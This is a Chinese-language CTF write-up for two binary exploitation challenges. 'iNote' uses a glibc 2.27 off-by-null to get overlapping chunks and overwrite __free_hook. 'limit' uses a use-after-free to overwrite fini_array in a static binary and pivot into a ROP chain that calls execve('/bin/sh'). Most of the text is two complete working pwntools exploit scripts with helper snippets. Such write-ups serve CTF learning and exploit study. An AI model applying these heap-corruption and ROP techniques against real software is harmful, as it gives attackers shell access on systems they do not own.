iNote

漏洞点

edit 功能当写入 chunk size 长度的数据时,会造成 off by null

image-20210620204038410

思路

题目基于 libc2.27 ,仅有 off by null 一个漏洞。

  1. 填满 tcache 之后,将堆释放到 fastbin ,输入长字符串利用 scanf 触发 malloc 大堆块将 fastbin 整理到 unsortedbin ,泄露出 libc 地址
  2. 利用 offbynull 向前unlink合并将 prev_inuse 控制为 0 ,结合伪造 header 、offbynull 向后unlink制造堆重叠

输入长字符串利用 scanf 触发 malloc_consolidate :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#step0:unsortedbin泄露libc地址
for i in range(8):
add(i,0x78)

add(8,0x58)#后面offbynull构造0x110
add(9,0x20)#后面offbynull构造0x110

for i in list(range(8)):
delete(i)
p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin

for i in list(range(7))[::-1]:
add(i,0x78)
add(7,0x78)
show(7)
p.recvuntil("Content: ")
main_arean_208 = u64(p.recv(6).ljust(8,'\x00'))
log.info("main_arean_208:"+hex(main_arean_208))
libc_base = main_arean_208 - 208 - (0x7ffff7dcdc40-0x7ffff79e2000)
log.info("libc_base:"+hex(libc_base))

构造 0x110(0x70+0x60+0x30) 的 unsortedbin ,unlink 时会将 0x110 后面堆修改为:prev_size=0x110;prev_inuse=0; 完成仅利用 offbynull 修改 size 0xf0 以下的 prev_inuse ,当然也能用于大于 size 0xf0 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# step1.1:
# 构造0x110(0x70+0x60+0x30)的unsortedbin
# unlink时会将0x110后面堆修改为:prev_size=0x110;prev_inuse=0;
for i in list(range(7)):
delete(i)
delete(7)#0x68
for i in range(7):
add(i,0x58)
for i in list(range(7)):
delete(i)
delete(8)#0x58
for i in list(range(7)):
add(i,0x20)
for i in list(range(7)):
delete(i)
edit(9,"skye231."*2+p64(0x100)+p64(0x10))#伪造一个header,用来向前(低地址)合并造成堆重叠
delete(9)#0x20
p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin

image-20210621001317541

image-20210621012651230

构造成功结构图:

image-20210621141932929

正常来说在构造完成 0x110 之前,就在其前面布置一个堆块用于 offbynull 修改 size 和在其后面布置一个堆块用来向前 unlink 造成堆重叠,但这里可以不急着申请,因为这两个堆已经在 tcache 存着了,构造完成 0x110 之后提取出来即可。

1
2
3
4
5
6
7
8
9
10
#step1.2:off by null将0x110覆盖为0x100
add(11,0x78)#head:用于off by null溢出修改size(0x110->0x100)
edit(11,'a'*0x78)

#step1.3:0x110后面布置一个堆块,用于unlink造成堆重叠
for i in range(6):
add(i,0x58)
add(12,0x58)#tail:unlink
for i in range(6):#清空堆指针列表,方便后续操作
delete(i)

然后将 0x100 切块取出(0x78+0x58+0x10),由于 offbynull 将 size 改小了 0x10 ,配合上伪造的 header 能够成功分配。伪造 header 作用看最后 0x10 分配就很清晰。

unsortedbin 中还剩余 0x20 空间,与下一个 chunk 相差了 0x10 ,我们提前在这 0x10 中伪造 header ,当分配后修改的是 fake header prev_inuse 下一个 chunk 的 prev_inuse 被正常保留,可以用于 unlink 制造重叠空间。

image-20210621142736577

然后将 0x78+0x58 放回到 unsortedbin ,释放 0x110 后面的堆块就会向前合并,即 unsortedbin 里面变成 0x110 + 0x110 后面的堆 size 。

image-20210621142929804

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#encoding:utf-8
from pwn import *
context.log_level='debug'
context.terminal=['tmux','sp','-h']

# p=process('./iNote',env={'LD_PRELOAD':'./libc-2.27.so'})
p = process("./iNote")
# p = remote("172.35.15.62",9999)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(id,size):
p.sendlineafter("choice: ",str(1))
p.sendlineafter("Index: ",str(id))
p.sendlineafter("Size: ",str(size))
def edit(id,content):
p.sendlineafter("choice: ",str(2))
p.sendlineafter("Index: ",str(id))
p.sendafter("Content: ",content)
def show(id):
p.sendlineafter("choice: ",str(3))
p.sendlineafter("Index: ",str(id))
def delete(id):
p.sendlineafter("choice: ",str(4))
p.sendlineafter("Index: ",str(id))

#step0:unsortedbin泄露libc地址
for i in range(8):
add(i,0x78)

add(8,0x58)#后面offbynull构造0x110
add(9,0x20)#后面offbynull构造0x110

for i in list(range(8)):
delete(i)
p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin

for i in list(range(7))[::-1]:
add(i,0x78)
add(7,0x78)
show(7)
p.recvuntil("Content: ")
main_arean_208 = u64(p.recv(6).ljust(8,'\x00'))
log.info("main_arean_208:"+hex(main_arean_208))
libc_base = main_arean_208 - 208 - (0x7ffff7dcdc40-0x7ffff79e2000)
log.info("libc_base:"+hex(libc_base))

# off by null 构造重叠区域
# step1.1:
# 构造0x110(0x70+0x60+0x30)的unsortedbin
# unlink时会将0x110后面堆修改为:prev_size=0x110;prev_inuse=0;
for i in list(range(7)):
delete(i)
delete(7)#0x68
for i in range(7):
add(i,0x58)
for i in list(range(7)):
delete(i)
delete(8)#0x58
for i in list(range(7)):
add(i,0x20)
for i in list(range(7)):
delete(i)
edit(9,"skye231."*2+p64(0x100)+p64(0x10))#伪造一个header,用来向前(低地址)合并造成堆重叠
delete(9)#0x20
p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin

#step1.2:off by null将0x110覆盖为0x100
add(11,0x78)#head:用于off by null溢出修改size(0x110->0x100)
edit(11,'a'*0x78)

#step1.3:0x110后面布置一个堆块,用于unlink造成堆重叠
for i in range(6):
add(i,0x58)
add(12,0x58)#tail:unlink
for i in range(6):#清空堆指针列表,方便后续操作
delete(i)

#step1.4:将0x100切分分配出来0x78+0x58+0x10
for i in range(6):
add(i,0x78)
add(8,0x78)
for i in range(6):
delete(i)
for i in range(6):
add(i,0x58)
add(9,0x58)
for i in range(6):
delete(i)
add(10,0x10)

# step1.5:
for i in range(7):
add(i,0x78)
for i in range(7):
delete(i)
delete(8)#fastbin
for i in range(7):
add(i,0x58)
for i in range(7):
delete(i)
delete(9)#fastbin
p.sendlineafter("choice: ",'1'*0x7000)

# 堆重叠
delete(12)
p.sendlineafter("choice: ",'1'*0x7000)

# gdb.attach(p)
# raw_input()

# step2
for i in range(7):
add(i,0x78)
add(8,0x78)
for i in range(7):
delete(i)
for i in range(7):
add(i,0x58)
add(9,0x58)
for i in range(7):
delete(i)
for i in range(7):
add(i,0x20)
add(12,0x20)#hacker
for i in range(7):
delete(i)

for i in range(7):
add(i,0x20)
delete(10)
edit(12,p64(libc_base+libc.sym['__free_hook'])+'\n')
add(14,0x20)
add(15,0x20)
edit(15,p64(libc_base+0x4f432)+'\n')



delete(0)

p.interactive()

limit

比赛的时候盯着 libc 文件不放,老是觉得是关键,都能 uaf 了,free_hook 也有了,找个能执行命令的函数就完事了,一直折腾没找到,最后想到攻击 fini 进行 rop 攻击的时候不够时间了,遗憾

漏洞点

delete 函数存在 uaf

image-20210621203509820

思路

劫持 64 位静态程序 fini_array 进行 ROP 攻击

  1. 利用 uaf 控制 tcache fd 指针,劫持堆指针列表实现任意地址读写
  2. 在 fini_array+0x10 后布置 ropchain ,然后将 fini_array [0] 覆盖为 leave|ret 、将 fini_array [1] 覆盖为 ret ,栈迁移到 ropchain

获取 free_hook

虽然没有符号表,但也应该能从 delete 功能看出哪个函数是 free ,进入到里面会有判断 __free_hook ,从而判断出地址:

image-20210621204659481

获取__libc_csu_fini

在 start 汇编中,赋值给 r8 寄存器的就是:

image-20210621204834726

获取_fini_array

gdb 调试程序,先 run 运行程序,然后查看 __libc_csu_fini 开始的汇编,赋值给 rbp 的就是 fini_array[0] :

image-20210621205940187

泄露堆地址

泄露出堆地址,同时就知道了 /bin/sh 写入的地址

1
2
3
4
5
6
7
8
9
10
# leak heap address
add(0,0x1ff)
delete(0)
edit(0,'a'*7+'\n')
show(0)
p.recvuntil('a'*7+'\n')
heap_addr = u64(p.recv(3).ljust(8,'\x00'))#tcache struch
log.info("heap_addr:"+hex(heap_addr))
binsh_addr = heap_addr-(0x6da1d0-0x6dac90)
log.info("binsh_addr:"+hex(binsh_addr))

劫持堆指针列表

1
2
3
4
5
# hijack 
edit(0,p64(0x6D83C0)+'\n')
add(1,0x1ff)
add(2,0x1ff)
edit(2,p64(0x1ff)*4+p64(binsh_addr)+p64(0x6D83C0)+p64(_fini_array[0])+'\n')

写入ropchain&劫持fini

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = p64(leave_ret)# fini_array[0]
payload += p64(ret)# fini_array[1]
payload += p64(pop_rax_ret)
payload += p64(0x3b)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(syscall)

edit(2,payload+'\n')

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context.log_level='debug'
context.terminal=['tmux','sp','-h']

#p=process('./limit',env={'LD_PRELOAD':'./libc-2.27.so'})
p = process("./limit")

def add(id,size):
p.sendlineafter("choice: ",str(1))
p.sendlineafter("Index: ",str(id))
p.sendlineafter("Size: ",str(size))
def edit(id,content):
p.sendlineafter("choice: ",str(2))
p.sendlineafter("Index: ",str(id))
p.sendafter("Content: ",content)
def show(id):
p.sendlineafter("choice: ",str(3))
p.sendlineafter("Index: ",str(id))
def delete(id):
p.sendlineafter("choice: ",str(4))
p.sendlineafter("Index: ",str(id))

free_hook = 0x6D7D58
_fini_array = [0x6d2150,0x6d2158]
__libc_csu_fini = 0x401E10

pop_rax_ret = 0x00000000004005cf
pop_rdi_ret = 0x00000000004007d6
pop_rsi_ret = 0x0000000000410763
pop_rdx_ret = 0x0000000000449605
syscall = 0x00000000004016fc
leave_ret = 0x000000000047e6e2
ret = 0x00000000004001c2

# leak heap address
add(0,0x1ff)
delete(0)
edit(0,'a'*7+'\n')
show(0)
p.recvuntil('a'*7+'\n')
heap_addr = u64(p.recv(3).ljust(8,'\x00'))#tcache struch
log.info("heap_addr:"+hex(heap_addr))
binsh_addr = heap_addr-(0x6da1d0-0x6dac90)
log.info("binsh_addr:"+hex(binsh_addr))

# hijack
edit(0,p64(0x6D83C0)+'\n')
add(1,0x1ff)
add(2,0x1ff)
edit(2,p64(0x1ff)*4+p64(binsh_addr)+p64(0x6D83C0)+p64(_fini_array[0])+'\n')


edit(0,"/bin/sh\x00"+'\n')# write /bin/sh

payload = p64(leave_ret)# fini_array[0]
payload += p64(ret)# fini_array[1]
payload += p64(pop_rax_ret)
payload += p64(0x3b)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(syscall)

edit(2,payload+'\n')

# gdb.attach(p,"b *0x401E38")
# raw_input()

p.sendlineafter("choice: ",str(5))

p.interactive()

这条题目没有利用到 fini 的循环调用特性,之前做的题目就是利用这个特性分批多次写入 ropchain :https://www.mrskye.cn/archives/2a024eda